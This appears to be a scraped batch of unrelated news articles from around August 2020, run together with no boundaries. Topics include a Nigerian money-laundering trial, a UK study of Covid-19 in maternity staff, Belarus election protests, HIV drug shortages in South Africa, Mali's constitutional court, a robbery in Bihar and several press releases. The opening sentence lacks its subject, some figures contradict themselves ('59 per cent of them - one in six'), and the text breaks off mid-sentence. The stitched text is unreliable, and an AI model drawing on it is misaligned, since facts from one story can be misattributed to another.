Attorney-General of the Federation and Minister of Justice, Mohammed Adoke, was stalled on Tuesday by the failure of the Economic and Financial Crimes Commission (EFCC) to make available to the defendant processes needed to conduct the trial. The EFCC had re-arraigned Mr Adoke alongside Aliyu Abubakar, a businessman, on an amended 14-count charge bordering on money laundering. The EFCC had earlier on February 10 arraigned Messrs Adoke and Abubakar on seven counts. Mr Adoke had six counts while Mr Abubakar had one count. But with amended charges, the defendants now have a seven-count charge each. The duo is also standing trial alongside others at the FCT High Court in Gwagwalada in Abuja, in respect of the Malabu oil transaction. According to the anti-graft agency, the duo in 2013, made payments (in naira and dollar) into the former AGFs accounts. This is in violation of various provisions of the Money Laundering (Prohibition) Act, EFCC said. Court Session At the resumed hearing of the matter on Tuesday, the EFCC lawyer, Bala Sanga, called his first witness, Clement Osagie, a representative of the Central Bank of Nigeria (CBN), to give evidence. But before Mr Osagie could commence his testimony after taking an oath to tell the truth, Mr Abubakars lawyer, Olalekan Ojo, raised an objection. Mr Ojo, a senior advocate of Nigeria (SAN), said; We are constrained at this juncture to raise an objection to the first prosecution witness giving evidence because of the failure of the prosecution to comply with the mandatory provisions of Section 379 of the Administration of Criminal Justice Act (ACJA) with regards to the necessity to include the list of witnesses among the proof of evidence and summary of the witness statement. The senior lawyer noted that the original charge and proof of evidence supplied by the EFCC in the second amended charge does not contain the name of the witness brought to court. He said the Administrative Criminal Justice Act (ACJA) was not enacted for fun but rather to ensure that the defendant gets a fair trial. We hereby insist on the right of the second defendant to be served with the proof of evidence, he said. I respectfully urged the court to give effect to the mandatory provisions of Section 375 of ACJA by urging the complainant to furnish us with the statement of the witness in the court. Responding, Mr Sanga, the EFCC lawyer, referred the court to page seven of the list of witnesses where he said number nine indicates that an official of CBN will be called. He submitted that since Mr Osagie is an official of the central bank, he ought to be allowed to give his evidence. Mr Sanga said he had applied to subpoena the CBN on August 4 after filing the amended charge on August 3. He said it was only on Monday evening that the CBN related to him that they would send Mr Osagie to represent the bank. Not satisfied with the EFCCs action, Justice Inyang Ekwo said, You should have concluded everything about your witnesses and evidence and all other materials before you file a charge. It is as simple as that. They are even very kind to you. They would have kept their gunpowder dry and allow you to proceed to the end before raising their objection. I dont want the proceedings in my court to amount to nothing Ill give you 24 hours to serve the defendants with all the processes and particulars that they are entitled to under the law. Unfortunately, in criminal proceedings, Im not allowed to penalise; if not, I would have done so. The judge adjourned to August 13 for the continuation of trial. More than half of NHS maternity staff who had Covid-19 never self isolated because they were unaware they were infected, a study has revealed. Researchers conducted testing of 200 workers on maternity wards at University College London Hospital and St George's Hospital. One in six had Covid-19 antibodies in their blood, which signalled they had already had the disease. But 59 per cent of them - one in six - did not self isolate and continued to work in the hospitals, potentially but unknowingly putting mothers, babies and other patients at risk. A third said they had no symptoms at all, otherwise known as 'silent carriers', while others did not fit the self-isolation criteria. The government's advice during the height of the pandemic was to self isolate only if you or someone you lived with had a high temperature or a new, continuous cough. But a loss of taste and smell was the most common symptom among maternity staff, and this was not acknowledged by the government as a Covid-19 sign until mid-May. More than half of NHS maternity staff who had Covid-19 never self isolated because they were unaware they were infected, a study has revealed. A third had no symptoms at all while the rest did not fit the government's criteria for self isolation. The most common symptom reported among the London healthcare workers was a loss of taste/smell. But this was not a symptom on the self-isolation list until mid-May The new study, led by anaesthetist Dr Sam Bampoe from the University College London, was published today in the journal Anaesthesia. It examined infection rates among anaesthetists (40), midwives (108) and obstetricians (52) on two maternity wards. They had no previously confirmed diagnosis of Covid-19 before being given antibody tests between 11 May and 5 June 2020. The paper said: 'We found that one of every six frontline, obstetric healthcare workers had been infected with SARS-CoV-2.' This is more than twice estimated antibody levels in the UK general population but similar to estimates in Greater London at 14.5 per cent. ARE PREGNANT WOMEN MORE AT RISK OF COVID-19? Generally pregnant women are more likely to catch an infection due to them having a weaker immune system. There is no evidence to suggest pregnant women are more likely to catch to the coronavirus than the general population. However, for precaution, the Government told all pregnant women to be extra stringent in practicing social distancing in March. Since then, one study by Oxford University claimed pregnant women are at no greater risk of developing severe Covid-19 than other women. Some 427 mothers-to-be were admitted to NHS hospitals with the life-threatening coronavirus between March 1 and April 14. Only one in ten needed treatment in ICU, which is no higher than the figure for non-pregnant women of the same age, the researchers said. Pregnant women from BAME backgrounds were more than four times likely to be admitted to hospital with the infection, in-keeping with figures from the general population. Obesity, having pre-existing health conditions, as well as being over the age of 35 also raised the odds, according to the results of the study. The research also looked at the babies of the mothers with COVID-19, finding one in four babies were born early. Five of the babies in the study died, but three of those were 'definitely unrelated' to the coronavirus, the scientists said, while it remained unclear whether the virus contributed to the other two deaths. Another study suggested pregnant woman are more at risk of Covid-19, after finding almost a sixth of pregnant woman in New York had the disease when they were admitted to hospital to give birth. The study took place at NewYork-Presbyterian and Columbia University Medical Center between March 22 and April 4, the New York Post reports. Researchers swabbed 215 mothers-to-be for Covid-19 and a total of 33 patients - 15 per cent - tested positive. Almost 90 per cent were asymptomatic. Commenting on the findings, anaesthetist Dr Sam Bampoe from the University College London, said: 'Although this study did not test for seroconversion [antibodies], these data might suggest that the overall infection rate in the pregnant population may be much higher than the general population due to the presence of a higher proportion of asymptomatic carriers.' There is good news in that women who are pregnant are in a lower risk age group for severe disease. Women generally also appear to be less at risk than their male counterparts of getting severe Covid-19 complications, data shows. However, there are many questions over how the virus could affect a mother during pregnancy - and her baby. Advertisement Ten of the 29 people who had antibodies said they had no symptoms whatsoever. Fifteen had suffered anosmia - a loss of sense of taste or smell - ten recalled having a cough and just six had reported a fever. Overall, the paper said only 41 per cent of the healthcare workers who tested positive had met the government criteria for self isolation, and therefore 59 per cent had not self-isolated at any point and had continued to provide care to patients. Anosmia was the most common symptom (52 per cent). But the government did not add this to the main list of symptoms until mid-May after relentless pressure from scientists to do so. In light of the findings, the scientists said NHS staff should have regular tests for Covid-19. On maternity wards, 'extreme caution is advisable' considering there are research gaps about the risks of Covid-19 to babies. The team wrote: 'Regular testing of staff, including asymptomatic staff, should be considered to reduce transmission risk. 'Until we have robust evidence as to the risk posed by asymptomatic infected individuals to others, and as to the risk of Covid-19 to babies, particularly during pregnancy, our study suggests that extreme caution is advisable in maternity settings, particularly the consistent use of effective personal protective equipment and other known effective measures including social distancing of staff and the regular washing of hands. 'We also recommend that all obstetric healthcare institutions should consider regular serology testing for staff, as well as the immediate isolation of any staff who lose their sense of taste and smell, even in the absence of cough or fever. 'Regular testing and consistent use of PPE are likely to be the cornerstones of pandemic control.' A limitation of the study is that antibody testing, which shows whether or not a person has previously been infected, is not entirely accurate. No test that is 100 per cent accurate has been developed, meaning sometimes it will say a person has had the coronavirus when they have not and vice versa. The team used an antibody test developed by Abbott Laboratories, approved by the United States Food and Drug Administration (FDA) and Public Health England for testing in the UK. The test has 100 per cent sensitivity and 99.6 per cent specificity, according to Abbott and the FDA. But antibodies can wane over time, therefore a person who has had Covid-19 say in March may not test positive with an antibody test in May. For this reason, Sebastian Johnston, a professor of respiratory medicine and allergy at Imperial College London who was not involved in the research, said the 14 per cent positive rate may actually be an underestimate. He also said: 'It is likely that an even greater proportion of cases with false negative antibody tests would have been asymptomatic. 'The study reports that 59 per cent of people who did test antibody positive did not self-isolate at any point and continued to work in the hospital setting. Again it is likely that a substantial number of workers with false negative antibody tests would have also continued working, despite being infected.' Dr Edward Morris, President of The Royal College of Obstetricians and Gynaecologists, said it is essential for pregnant women to continue to attend for antenatal care throughout their pregnancies. Covid-19 is thought to cause a milder illness in pregnancy, Dr Bampoe and colleagues wrote, but with a greater proportion of asymptomatic carriers. A study of 215 pregnant women giving birth in New York during the pandemic reported that 13.7 per cent tested positive for active Covid-19 infection - a similar rate to the staff in the NHS study. Almost 90 per cent of the mothers-to-be were asymptomatic, which may suggests the overall infection rate in the pregnant population may be much higher than the general population. A 23-year-old 3rd Class Petty Officer in the U.S. Coast Guard stationed in Massachusetts has been accused of firing a gun near two men during an argument in Fairhaven, officials said. Sean Reilly, who is from Montgomery, Alabama, and is currently stationed at the Sector Southeast Coast Guard Station in Woods Hole, allegedly got into an argument on Friday night with two men he didnt know in the area of Middle Street and Bridge Street. Reilly fired a shot, according to Fairhaven police. Officers got to the scene and could not find Reilly. A single 9mm shell casing was located on the ground near 98 Middle St. There were no injuries and officers did not receive any reports of property damage, police said in a statement. Police identified Reilly as the suspect during an investigation and arrested him at the Sector Southeast Coast Guard Station in Woods Hole on Tuesday morning, the statement said. Reilly is expected to be arraigned Tuesday in New Bedford District Court on charges of discharging a firearm within 500 feet of a building, assault by means of a dangerous weapon, disturbing the peace and disorderly conduct. Police seized Reillys 9mm Smith and Wesson pistol, which he is licensed to carry, as evidence, the statement said. No further information was immediately available. Police, Protesters Clash After Belarusian Election By VOA News August 10, 2020 Clashes between protesters and police broke out across Belarus on Monday, after the country's longtime president was declared the winner of Sunday's national election. Alexander Lukashenko, in power for 26 years, said Monday that opposition protesters would face a tough crackdown, describing them as sheep manipulated by foreign masters. "Follow the law and then all these conversations about repression disappear," he said. Videos of the clashes show protesters being beaten by police with truncheons Monday night. Rights groups said one person was killed and dozens injured in a police crackdown on protests that followed Sunday's polls. Several hundred protesters have been arrested. Police used stun grenades, tear gas and water cannon against the thousands of protesters who took to the streets of the country's capital, Minsk, late Sunday. The country's Central Election Commission said Monday that after all ballots were counted, Alexander Lukashenko took 80.23% of the votes, and main opposition candidate Sviatlana Tsikhanouskaya 9.9%. Opposition supporters, who believe the results were manipulated, plan to gather in Minsk for more protests Monday evening. Speaking from her headquarters, Tsikhanouskaya said she does not recognize the outcome. "We have already won because we have overcome our fear, our apathy and our indifference," she said. International officials also questioned the legitimacy of the election, as well as the crackdown on protesters. Washington said Monday it was "deeply concerned" by the situation, noting that intimidations and restrictions on ballot access for opposition candidates as well as a lack of independent observers at polling stations have "marred the process." "We urge the Belarusian government to respect the right to peaceably assemble and to refrain from the use of force," White House press secretary Kayleigh McEnany said. "Harassment & violent repression of peaceful protesters has no place in Europe," Ursula von der Leyen, president of the European Commission, wrote on Twitter. "I call on the Belarusian authorities to ensure that the votes in yesterday's election are counted & published accurately." NATO Secretary General Jens Stoltenberg said the organization "condemns violence against peaceful protestors." "Fundamental rights must be respected," he said in a statement. Russian President Vladimir Putin congratulated Lukashenko Monday on his victory. Protests were held in other Belarusian cities, including Gomel, Grodno, Vitebsk and Brest, where tear gas was reportedly fired. NEWS LETTER Join the GlobalSecurity.org mailing list Enter Your Email Address JOHANNESBURG - When her regular clinic ran out of her government-funded HIV medications amid South Africas COVID-19 lockdown, Sibongile Zulu panicked. A local pharmacy had the drugs for $48, but she didnt have the money after being laid off from her office job in the shutdown to slow the spread of the coronavirus. Desperate for the lifesaving medication, the single mother of four called a friend -- a nurse with a local charity helping people with HIV, the Sister Mura Foundation. Shes one of the lucky ones: Since April, the foundation has provided Zulu with the drugs, purchased locally. Across South Africa and around the world, the pandemic has disrupted the supply of antiretroviral drugs, endangering the lives of many of the more than 24 million people globally who take the medications that suppress the HIV virus. In sub-Saharan Africa alone, a study by UNAIDS found that a six-month disruption of antiretroviral therapy could lead to 500,000 additional AIDS-related deaths. The disruptions are particularly troubling in South Africa, which has 7.7 million HIV-positive people, the worlds largest number, with 62% of those depending on the governments antiretroviral program, also the worlds largest. Anti-coronavirus restrictions have hindered both imports of the drugs and the local production and distribution of the medications, according to a report by UNAIDS. In addition, many HIV patients have stopped going to the often-crowded clinics for fear of being exposed to the coronavirus. And others cannot afford the transport fares to reach clinics. In June, UNAIDS Executive Director Winnie Byanyima said countries should urgently make plans now to mitigate the impacts of higher costs and reduced availability of antiretroviral medicines. I call on countries and buyers of HIV medicines to act swiftly in order to ensure that everyone who is currently on treatment continues to be on it, saving lives and stopping new HIV infections, Byanyima said. HIV positive people who contract COVID-19, are more than twice as likely to die from the disease as people without HIV, according to an early study of mortality rates in South Africas Western Cape province, the countrys first epicenter for the disease. Were worried that were going to be seeing an increase in deaths in co-infections such as TB and other opportunistic infections, Dr. Nomathemba Chandiwana, an HIV research clinician, told The Associated Press. Clinics in central Johannesburg have seen a 10% to 25% drop in people coming for HIV treatment, she said. On top of that, several clinics have had to close temporarily when nurses and doctors have become sick with COVID-19. Some clinics see 60 to 80 patients per day, so when one closes, for even a week, it means many people are not getting their drugs. Its a serious threat, said Chandiwana, who works for Ezintsha, part of the University of the Witwatersrand. COVID-19 is similarly disrupting vaccinations. The past few months have seen a 25% reduction in childhood immunizations, according to Shabir Madhi, a professor of vaccinology at the same university, who warned of possible outbreaks of measles. The diagnosis and treatment of tuberculosis also has also been hampered by the pandemic, risking the lives of many of South Africas neediest citizens, health experts say. Disruptions to these medications is a public health problem. It threatens the poor and most vulnerable, said Vinyarak Bhardwaj, deputy director of Doctors Without Borders program in South Africa, which has HIV programs in the Western Cape and KwaZulu-Natal provinces. Were responding to this threat by helping to minimize shortages and by providing stable HIV patients with multi-month prescriptions to limit their visits to the clinics. Were also increasing treatment advice by telephone and the internet, he said. Reliable supplies of antiretroviral drugs are so critically important in South Africa that a monitoring program, Stop Stockouts, was created in 2013 and is closely tracking and responding to the disruptions amid the COVID-19 pandemic. The mill town of Ngodwana in the countrys northeast, a truck stop on the highway to Mozambique, is a microcosm of South Africas inequality, rated as the worlds highest. Ngodwanas 3,500 residents are mostly Black, living in a densely packed shantytown, with limited electricity and running water. Safe distancing is nearly impossible. Years ago, the truck traffic was blamed for bringing HIV to the area; now come fears it will become a hot spot for COVID-19. Many in Ngodwana can no longer afford to travel the 40 kilometres (25 miles) to the town of Nelspruit to get their drugs and dont feel comfortable going to the crowded local clinic. So the Dutch-based aid group North Star Alliance set up a tented drop-in centre and started home visits. Clad in a mask, gloves and protective surgical gown, nurse Nomautanda Siduna walked through Ngodwanas dirt streets to a mud-walled, tin-roofed home. Once inside, she quickly got to work, distributing a two-month supply of antiretroviral drugs to the HIV-positive woman, a sex-worker, and advising her how to stay as safe as possible amid the pandemic. You must know that with COVID out there, you must take your treatment, every day, same time, like youre always doing, Siduna told her. And you must use a condom when youre sleeping with anyone. Pretty Mkhabela, 34, said the pandemic frightens her and that shes taking new precautions as a sex worker. Yes, Im scared, Mkhabela said. When I work with my client, I use a mask and my client also uses a mask. Another resident, Rose Khondowa, tried to get her antiretroviral drugs by travelling to Nelspruit, but encountered only a locked gate after a COVID-19 outbreak among hospital workers caused the clinic to temporarily close. She didnt have enough money, about $4, for a second trip. By chance, she saw the North Star Alliance gazebo in Ngodwana and succeeded in getting a months supply of antiretroviral drugs. If I didnt find them, she said, I would have died. ___ Follow AP pandemic coverage at http://apnews.com/VirusOutbreak and https://apnews.com/UnderstandingtheOutbreak Citizen Services AI Market Research Report by Technology (Face Recognition, Image Processing, Machine Learning, and Natural Language Processing), by Application (General Services, Healthcare, Public Safety, Traffic and Transportation Management, and Utilities) - Global Forecast to 2025 - Cumulative Impact of COVID-19 New York, Aug. 10, 2020 (GLOBE NEWSWIRE) -- Reportlinker.com announces the release of the report "Citizen Services AI Market Research Report by Technology, by Application - Global Forecast to 2025 - Cumulative Impact of COVID-19" - https://www.reportlinker.com/p05913833/?utm_source=GNW The Global Citizen Services AI Market is expected to grow from USD 1,549.54 Million in 2019 to USD 5,173.87 Million by the end of 2025 at a Compound Annual Growth Rate (CAGR) of 22.25%. Market Segmentation & Coverage: This research report categorizes the Citizen Services AI to forecast the revenues and analyze the trends in each of the following sub-markets: Based on Technology, the Citizen Services AI Market studied across Face Recognition, Image Processing, Machine Learning, and Natural Language Processing. Based on Application, the Citizen Services AI Market studied across General Services, Healthcare, Public Safety, Traffic and Transportation Management, and Utilities. Based on Geography, the Citizen Services AI Market studied across Americas, Asia-Pacific, and Europe, Middle East & Africa. The Americas region surveyed across Argentina, Brazil, Canada, Mexico, and United States. The Asia-Pacific region surveyed across Australia, China, India, Indonesia, Japan, Malaysia, Philippines, South Korea, and Thailand. The Europe, Middle East & Africa region surveyed across France, Germany, Italy, Netherlands, Qatar, Russia, Saudi Arabia, South Africa, Spain, United Arab Emirates, and United Kingdom. Company Usability Profiles: The report deeply explores the recent significant developments by the leading vendors and innovation profiles in the Global Citizen Services AI Market including Accenture, ADDO, Alibaba, AWS, Baidu, IBM, Intel, Microsoft, NVIDIA, Pegasystems, Servicenow, and Tencent. FPNV Positioning Matrix: The FPNV Positioning Matrix evaluates and categorizes the vendors in the Citizen Services AI Market on the basis of Business Strategy (Business Growth, Industry Coverage, Financial Viability, and Channel Support) and Product Satisfaction (Value for Money, Ease of Use, Product Features, and Customer Support) that aids businesses in better decision making and understanding the competitive landscape. Competitive Strategic Window: The Competitive Strategic Window analyses the competitive landscape in terms of markets, applications, and geographies. The Competitive Strategic Window helps the vendor define an alignment or fit between their capabilities and opportunities for future growth prospects. During a forecast period, it defines the optimal or favorable fit for the vendors to adopt successive merger and acquisition strategies, geography expansion, research & development, and new product introduction strategies to execute further business expansion and growth. Cumulative Impact of COVID-19: COVID-19 is an incomparable global public health emergency that has affected almost every industry, so for and, the long-term effects projected to impact the industry growth during the forecast period. Our ongoing research amplifies our research framework to ensure the inclusion of underlaying COVID-19 issues and potential paths forward. The report is delivering insights on COVID-19 considering the changes in consumer behavior and demand, purchasing patterns, re-routing of the supply chain, dynamics of current market forces, and the significant interventions of governments. The updated study provides insights, analysis, estimations, and forecast, considering the COVID-19 impact on the market. The report provides insights on the following pointers: 1. Market Penetration: Provides comprehensive information on the market offered by the key players 2. Market Development: Provides in-depth information about lucrative emerging markets and analyzes the markets 3. Market Diversification: Provides detailed information about new product launches, untapped geographies, recent developments, and investments 4. Competitive Assessment & Intelligence: Provides an exhaustive assessment of market shares, strategies, products, and manufacturing capabilities of the leading players 5. Product Development & Innovation: Provides intelligent insights on future technologies, R&D activities, and new product developments The report answers questions such as: 1. What is the market size and forecast of the Global Citizen Services AI Market? 2. What are the inhibiting factors and impact of COVID-19 shaping the Global Citizen Services AI Market during the forecast period? 3. Which are the products/segments/applications/areas to invest in over the forecast period in the Global Citizen Services AI Market? 4. What is the competitive strategic window for opportunities in the Global Citizen Services AI Market? 5. What are the technology trends and regulatory frameworks in the Global Citizen Services AI Market? 6. What are the modes and strategic moves considered suitable for entering the Global Citizen Services AI Market? Read the full report: https://www.reportlinker.com/p05913833/?utm_source=GNW About Reportlinker ReportLinker is an award-winning market research solution. Reportlinker finds and organizes the latest industry data so you get all the market research you need - instantly, in one place. __________________________ Story continues CONTACT: Clare: clare@reportlinker.com US: (339)-368-6001 Intl: +1 339-368-6001 Nine new members of Malis constitutional court were sworn in on Monday during a ceremony attended by President Ibrahim Boubacar Keita and former Nigerian President Goodluck Jonathan, who leads mediation by the Ecowas regional bloc. The constitutional court was at the heart of a crisis in Mali leading to a widespread protest movement calling for the resignation of President Keita. The constitutional courts first problem concerns the 30 MPs dismissed previously by the court following contested elections, reports Bamako correspondent Serge Daniel. A plan put forward by the Ecowas mediation team calls for the 30 MPs, as well as parliamentary president, to step down until partial elections for those constituencies can be held again. The dismissal of MPs from certain constituencies by the court previously was one of the key tenets of the opposition protest movement, as well as alleged corruption within the government and ongoing insecurity in the country. The opposition M5-RFP group, the 5 June Movement Rally of Patriotic Forces, a coalition of civil society and opposition groups, had rejected the proposals tabled by the West Africa regional bloc following a high-level visit by several presidents to Bamako. Efforts to solve a standoff between the authorities and the opposition were led by Goodluck Jonathan, with his mediation team shuttling back and forth between the government and protesters, attempting to find a compromise. Satisfy opposition demands? Reconstitution of the court was a key pillar to the Ecowas mediation, but the move has not stopped the opposition and Imam Mahmoud Dicko, one of the central figures in the protest movement, from calling for more protests in Bamako on Tuesday, to put pressure on the government, according to correspondent Daniel. Jonathan said the reconstitution of the court was an important step in the roadmap drawn up by Ecowas. The plan also urges the formation of a government of national unity and a commission of inquiry into the violent crackdown on protests on 10, 11 and 12 July. Jonathan is back in Bamako to engage stakeholders on the implementation of the decisions and roadmap. Story continues Three of the new constitutional court judges have been selected by President Keita, three by Moussa Timbine, the parliamentary president, and three by Mali's judicial council. Amadou Toure was elected by his peers as president of the constitutional court, according to journalist Daniel. Toure is currently chief of staff to the prime minister and previously served as anti-corruption prosecutor, auditor general and ambassador to Cote dIvoire, according to reports from local media. Depoliticising the court Analysts question whether the newly formed constitutional court will help defuse the demonstrations and please the opposition. This will only anger the opposition further, as three justices were named by the head of Malis national assembly, who under Ecowas recommendations should have resigned already, said Andrew Lebovich, an expert on the Sahel at think-tank European Council on Foreign Relations. I do not think these appointments will depoliticize the court, either in practice or in the eyes of the M5-RFP, said Alexander Thurston, a specialist on Mali at the University of Cincinnati. Thurston said on his Sahel Blog that choosing Toure, someone working within the executive branch for the prime minister, to head up a judicial institution, that is the focus of protests, is not really a good look. A teenager was killed and his father, a prominent trader, was seriously injured during an armed robbery in their house in which robbers looted cash and goods worth 10 lakh including ornaments, mobile phones and a laptop in Bihars Nawada town on Monday night, police said Tuesday. Satyanand Prasad was sleeping on the ground floor when more than half a dozen masked robbers entered his house at Dobhra-Par locality in Nawada. Police said the robbers tied Satyanand to the cot on which he was sleeping and stuffed a piece of cloth in his mouth. The robbers then hit him with pistol butts and blunt objects on head leaving him bleeding profusely. The miscreants then entered another room and started searching for valuables. The noise woke up Satyanands minor son Roshan. The robbers then attacked the boy and slit his throat, killing him on the spot. Roshan was a ninth standard student of a school in Rajgir in Nalanda district. Police said the robbers locked Prasads wife and daughter in another room and looted cash and valuables worth 10 lakh before fleeing. Soon after the incident came to light, senior police officers, including Nawadas superintendent of police Hariprasath S rushed to the spot. Police recovered a sharp edge weapon from the room of Roshan which was allegedly used used in the crime. Police suspect that the robbers gained entry to one of the rooms through a window adjoining the roof by cutting open the grille. Police also suspect that the robbery was pre-planned and was committed by professional dacoits, who might have killed the teenager after he resisted their bid to loot or identified the gang members. Satyanand has been shifted to PMCH for better treatment. FSL and dog squad were pressed into service while CCTVs are being scanned by the experts, Hariprasath said. (TNS) Vulnerable residential tenants throughout New York City will now be able to access relevant information and resources through a free online portal , Mayor Bill de Blasio announced Monday.The NYC Tenant Resource Portal is the citys first free online portal to help tenants prevent eviction and keep them stably housed.The city is doing everything in our power to support vulnerable families as they deal with a public health and economic crisis, de Blasio said.The portal was launched through the Mayors Office to Protect Tenants (MOPT), the Mayors Public Engagement Unit (PEU) and the Department of Information Technology and Telecommunications (DoITT).Tenants seeking information will need to respond to a series of questions about their unique circumstances so it can provide specific information to each tenant.The most recent information about the status of evictions in New York Citys Housing Court is also available by accessing the portal.Tenants without internet access can call 311 and ask for the Tenant Helpline; they will then be connected to a PEU Tenant Support Specialist for free assistance.Available resources include those from multiple city agencies, city-funded non-profit legal service organizations and community based organizations.Councilwoman Debi Rose (D-North Shore) lauded the portal, stating, Fearing the loss of ones home is terrifying, especially during a time when almost everything feels uncertain. Many resources throughout the city are available for tenants during times of need, and it is important that these resources are be accessible to those who need them most. The Kansas City Police Department said based on its preliminary investigation, the shooting that killed a man Sunday outside the entrance of the Kansas City Zoo was the result of an accident."We can now say that based on the preliminary investigation the shooting was a result of an accident," Jake Becchina with KCPD said. ANN ARBOR, MI For 10 years, Mani Osteria & Bar has been providing a mix of Italian food offering something for everybody. The restaurant at 341 E. Liberty St. in downtown Ann Arbor offers a home-like feel, with food that fits any occasion, said Lauren LaVigne, general manager. And while the restaurant hit a snag with the novel coronavirus pandemic, that atmosphere has not disappeared. Mani offers a mix of traditional and more familiar takes on Italian cuisine, LaVigne said. We really want to branch out where they can try different things that theyre not necessarily going to get somewhere else, LaVigne said. But it doesnt push yourself out of your comfort zone where youll be scared to order something. The restaurant offers an array of dishes that includes a chicken recipe, featuring mushrooms and artichokes, thats been with the owners family for years. Soups vary between seasons, with the restaurant currently serving gazpacho. Pasta is made in-house daily, with dishes ranging from meatball bucatini and pomodoro ravioli. Mani also has its own wood-fire pizza oven, creating both traditional and unique pies, including margarita pizza, pepperoni, a pizza with mushrooms and truffle oil and one with sweet onions and bacon. If people manage to save room for dessert, they can try Manis tiramisu, olive oil cake and gelato. No Italian restaurant is complete without a wine selection. Luckily, Mani has a wine list that has been revamped during the COVID-19 pandemic, LaVigne said. Both old-world wine and newer selections are offered. Mani offers a shared style of service, meaning portions are large enough to share between a group at the table, LaVigne said. Prices are also set in a way that people looking to celebrate with a more expensive meal can do so, or people looking for a more casual experience can get food at lower prices, she said. Mani was able to avoid fully closing by implementing curbside pickup. Once restaurants could open for dine-in services again, it opened for outdoor seating only. The pandemic has brought challenges to the restaurant, like offering a limited menu, LaVigne said. While there have been difficulties, she said regulars are returning and relationships are being built with new customers as well. Everything is kind of, for lack of a better word, miserable for everybody, LaVigne said. But (were) trying to use the restaurant as a place of comfort and a chance to get to see some familiar faces, (which) I think has helped. Mani Osteria & Bar is located at 341 E. Liberty St., Ann Arbor. Open 11:30 a.m. to 2 p.m. Tuesday through Thursday, 11:30 a.m. to 11 p.m. Friday, noon to 11 p.m. Saturday and 11 a.m. to 2 p.m. and 4 to 9 p.m. Sunday. Call 734-769-6700. More info at http://maniosteria.com/ More Washtenaw County local eats: Local Eats: Ypsilantis Bird Dog Baking opened at the start of Michigans coronavirus lockdown Local Eats: Grab some gourmet delights at The Broken Egg in Ann Arbor Local Eats: Authentic Lebanese street food served up at Ann Arbors Pita Kabob Grill Local Eats: Soul food restaurant serves up comfort in Ypsilanti Township Local Eats: New Ann Arbor-area restaurant features burrito bowls Local Eats: Hola Seoul embraces virtual locations during pandemic Local Eats: Five things to know about Haymaker Public House in Ann Arbor Local Eats: Recently re-opened Blue Nile Restaurant offers traditional Ethiopian food to Ann Arbor Dozens of teachers went to a Cypress-Fairbanks ISD board meeting to protest the district's reopening plan as the coronavirus pandemic continues. But the district is pressing on with its Sept. 8 start date. Students in Cy-Fair ISD have the option to attend school in person or virtually, but teachers are required to teach at school in person. Teachers are also required to start professional development training in person this Friday. BACK TO SCHOOL: These are the COVID-19 safety protocols for 17 Texas universities and colleges for fall I just want to make it to 65, a 64-year-old teacher in a hazmat suit told the Houston Chronicle. Its just not safe until the positive test rate is down to 5 percent. As of last week, the positive rate for COVID-19 tests is about 17.6 percent in the Houston area. The teachers asked for the first day of school to be pushed back again or for teachers to have the option to teach remotely. They also asked that the three weeks of professional development training take place virtually as well. The board said that state mandates prevent the district from making any significant changes to its back to school plan. I think we should all remember and think about how weve been put in this very uncomfortable situation in opening our schools, Trustee Dr. John Ogletree said, the Houston Chronicle reported. It is due to our political leaders, and some have put politics over science. TORONTO, ON / ACCESSWIRE / August 11, 2020 / High Tide Resources Corp. ("High Tide or the Company") is pleased to announce that the Company has commenced verification drilling at its 2,475 hectare Labrador West Iron Ore Property ('The Property or Project") near Labrador City, Newfoundland. High Tide is a majority controlled private subsidiary of Avidian Gold Corp ("Avidian")(TSXV:AVG). The Property has been subjected to advanced exploration techniques by Rio Tinto Exploration including airborne and ground geophysics, mapping, metallurgical test-work and diamond drilling. Between 2010 and 2012 Rio Tinto drilled 18 diamond drill holes totaling 4,227 metres, intersecting significant iron mineralization in multiple drill holes highlighted by hole 11LB0027, which yielded 279 metres at 29.8% Fe, including 157 metres at 31.9% Fe and 90 metres at 31.9% Fe*. High Tide's President and VP of Exploration Steve Roebuck states: "Over the past year only iron ore has kept pace with gold as the best-performing major commodity as prices have topped the $115/tonne for 62% Fe. This is a very prospective, well located iron ore property and we are excited to begin the verification drill program. Rio Tinto's excellent work has de-risked the Project on many levels by delineating the general boundaries of the deposit through 18 drill holes and equally important completing the preliminary metallurgy which suggests we have good potential to produce a high-quality, low-impurity + 62% iron concentrate at reasonable grind sizes. We already know where to drill and our Phase One drill program will pick up where Rio Tinto left off with verification drilling in the core area that will lay the foundation for a resource estimate." The Company has an initial plan to drill four holes and up to 1,200 metres of NQ-sized core in Phase One (see Figures 1 & 2 for Project and drill hole location). The Company would also like to acknowledge and thank the Department of Natural Resources for its financial assistance through the Junior Exploration Assistance Program. The Government of Newfoundland and Labrador's continued support of the mining and exploration industry during these challenging times is greatly appreciated. High Tide Resources is following the Government of Newfoundland and Labrador Public Health COVID-19 guidelines with the safety of its workers and community as its main priority. *See Altius press release dated March 27, 2012 titled "Altius Provides Update on Selected Iron Ore Projects in Labrador West" (http://altiusminerals.com/press-releases/view/254). True width is unknown at this time. These results are historic in nature and have not been independently verified by High Tide or by a qualified person as per NI 43-101 and the Standards of Disclosure for Mineral Projects. Iron Ore and the Western Labrador Trough Infrastructure Advantage The Labrador Trough of western Labrador and adjoining Quebec constitutes Canada's premier iron ore district and is host to world-class deposits that have been mined for half a century producing over 2 billion tonnes of iron ore with significant growth potential. The high quality of the deposits in the region allows for a wide range in product diversity, which includes lump, premium fines, concentrate and pellet grades. The Property is strategically located near the mining towns of Wabush and Labrador City in the province of Newfoundland & Labrador and Fermont in Quebec. The area is home to the shovel-ready Kami Deposit, Champion Iron Ore's Bloom Lake Mine, Arcelor Mittal's Mont-Wright Mine, Tacora Resources' Scully Mine, the Julienne Lake Deposit and Rio Tinto IOC's Carol Lake Mine. The region is very well served with skilled labour, a paved highway as well as access to abundant low-cost hydroelectricity, and a common carrier railway with a currently under-utilized 80 million tonnes per year capacity allowing iron ore products to be delivered to the deep-water port of Sept Isles, Quebec providing year-round access to global markets. Figure 1 - Project location map Figure 2 - Core area in yellow showing historic and proposed drill holes. About High Tide Resources Corp. High Tide is a private corporation that is focused on and committed to the development of advanced-stage mineral projects within Canada using industry best practices combined with a strong social license from local communities. It has a disciplined and veteran team of technical and business-oriented professionals that is advancing its Labrador West iron ore property, Strickland base metal property and Black Raven gold property, all located in Newfoundland & Labrador, Canada. High Tide is majority owned by Avidian Gold Corp. Technical The technical information within this document has been reviewed and approved by Mr. Steve Roebuck, P.Geo. Mr. Roebuck is a Qualified Person as defined in NI 43-101. For further information, please contact: Steve Roebuck High Tide President & VP Exploration Mobile: (905) 741-5458 Email: sroebuck@avidiangold.com Neither TSX Venture Exchange nor its Regulation Services Provider (as that term is defined in the policies of the 